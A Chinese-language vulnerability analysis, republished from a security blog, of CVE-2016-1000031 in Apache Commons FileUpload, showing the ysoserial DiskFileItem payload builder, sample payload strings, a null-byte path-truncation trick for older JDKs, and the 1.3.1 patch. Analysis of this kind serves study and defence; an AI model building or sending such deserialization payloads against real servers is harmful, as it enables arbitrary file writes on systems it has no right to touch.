作者:spoock
作者博客:https://blog.spoock.com/2018/10/15/cve-2016-1000031/
說明
前幾天剛剛分析了Apache Commons FileUpload的Dos的漏洞,無意間發現了還存在反序列化的漏洞。網上只存在cve-2016-1000031 Apache Commons FileUpload 反序列化漏洞深入分析。這篇文章只是簡要地分析了一下,但是對于原理還是不理解。后來發現在ysoserial中存在這個漏洞的Payload,于是就根據ysoserial中的Payload對這個漏洞進行分析。
漏洞說明
漏洞的來源是在于DiskFileItem中的readObject()進行文件寫入的操作,這就意味著如果我們對已經序列化的DiskFileItem對象進行反序列化操作就能夠觸發readObject()執行從而觸發這個漏洞。
這個漏洞的危害是能夠任意寫、讀文件或者目錄。但是具體是對文件還是目錄操作與FileUpload以及JDK的版本有關。不同的漏洞環境能夠達到的效果不一樣。
- FileUpload的1.3.1之前的版本配合JDK1.7之前的版本,能夠達到寫入任意文件的漏洞;
- FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本,能夠向任意目錄寫入文件;
- FileUpload的1.3.1以及之后的版本只能向特定目錄寫入文件,此目錄也必須存在。(文件的的命名也無法控制);
下面將進行詳細地分析
Payload構造
我們首先測試的版本是1.3的版本,JDK是1.8版本,所以這種組合只能達到向任意目錄的文件寫入的漏洞效果。
我們測試的payload是{"write;cve1000031;123456"},表示的含義就是向目錄cve1000031中寫入123456的內容。在ysoserial中最終是由ysoserial.payloads.FileUpload1::makePayload()來構建payload。代碼如下:
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
當我們輸入我們的Payload,{"write;cve1000031;123456"},其中的賦值情況是:

而thresh的值就是我們需要寫入的內容的長度加1,即len(123456)+1結果就是7。其中還有filePath是cve1000031/whatever是因為在這個漏洞環境中我們最終是向cve1000031目錄寫入,所以后面是什么就沒有意義了。
最后在代碼中還存在幾個反序列化的操作:
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
發序列化的意義是在于我們無法通過DiskFileItem的示例進行設置,只能通過反射的方式設置,這幾個屬性也是我們觸發漏洞的必要條件。
之后對我們構造的這個進行序列化操作,反序列化之后就會觸發DiskFileItem的readObject()從而觸發漏洞。
漏洞分析-1
漏洞環境: FileUpload 1.3+JDK1.7
當對DiskFileItem的對象進行反序列化操作時,由org.apache.commons.fileupload.disk.DiskFileItem::readObject()處理。
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
// read values
in.defaultReadObject();
OutputStream output = getOutputStream();
if (cachedContent != null) {
output.write(cachedContent);
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
dfosFile = null;
}
output.close();
cachedContent = null;
}
跟進getOutputStream(),進入到:
public OutputStream getOutputStream()
throws IOException {
if (dfos == null) {
File outputFile = getTempFile();
dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);
}
return dfos;
}
由于dfos == null滿足條件,會執行File outputFile = getTempFile();方法。跟蹤進入getTempFile()到中

其中的tempDir就是我們設置的repository,即cve1000031。tmpFileName是由DiskFileItem是自動生成的。最終和tempDir組合得到的文件路徑就是cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp。
最后返回至readObject()方法中寫入文件,如下:

其中的cachedContent就是我們之前在Payload中設置的123456。那么Payload的最終的效果就是在cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp文件中寫入了123456的內容。

漏洞分析-2
由于前面的一個漏洞分析是向任意目錄寫文件的功能,本次分析的是任意文件寫入的功能。本次的漏洞環境是FileUpload 1.3+JDK1.6。
Payload構造
構造的Payload是{"writeOld;cve1000031.txt;123456"}。同樣會調用makePayload()構造Payload。

但是其中的repoPath最后一位是\0,這個就類似于PHP中的截斷,用于截斷后面的路徑,這樣就可以達到任意文件寫入的效果。具體的原理說明如下:
JDK7以上在Java的file相關的基礎類中都做了空字符的保護,這也是在針對java的string 和 c char的結束方式不一致,在Java中文件的操作中使用String這種char 數組,而C中的char 是以空字符為結束符,所以java操作的文件中很容易通過注入空字符來操作完全不同的文件。比如
Java File file = new File("/test/test.txt\0.jsp")看起來再操作test.txt\0.jsp實際上在底層調用的(本質還是c讀寫文件)是在操作test.txt。在JDK7以后的版本File 里面會有一個判斷是否有空字符的函數
這個意思就是在JDK7之前可以利用\0進行目錄截斷,和php在5.3.4版本之前也可以進行目錄截斷是一樣的道理。所以這個任意文件寫入為什么要求是JDK7以下的版本才可以的原因。
漏洞的執行流程和前面分析的漏洞流程一樣,不同是在getTempFile()中:

其中this.tempFile的路徑是cve1000031.txt \upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp。由于是在JDK1.6的環境下,后面的\upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp在寫入文件時會被忽略,所以最終是向cve1000031.txt文件中寫入內容。

漏洞分析-3
漏洞環境: FileUpload 1.3.1+JDK1.7
在FileUpload 1.3.1中對readObject()的功能進行了修改。修改主要是對repository進行了校驗。
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
// read values
in.defaultReadObject();
/* One expected use of serialization is to migrate HTTP sessions
* containing a DiskFileItem between JVMs. Particularly if the JVMs are
* on different machines It is possible that the repository location is
* not valid so validate it.
*/
if (repository != null) {
if (repository.isDirectory()) {
// Check path for nulls
if (repository.getPath().contains("\0")) {
throw new IOException(format(
"The repository [%s] contains a null character",
repository.getPath()));
}
} else {
throw new IOException(format(
"The repository [%s] is not a directory",
repository.getAbsolutePath()));
}
}
OutputStream output = getOutputStream();
if (cachedContent != null) {
output.write(cachedContent);
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
dfosFile = null;
}
output.close();
cachedContent = null;
}
通過對repository.isDirectory()和repository.getPath().contains("\0")的判斷,就阻止了任意的文件寫入的漏洞了。所以在這種環境下只能下特定的目錄寫入文件了。但是這種情況下,你也只能向臨時目錄寫入文件。
總結
分析這個漏洞學習到了JDK1.6的截斷同時也感慨ysoserial的強大。
以上
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/731/
暫無評論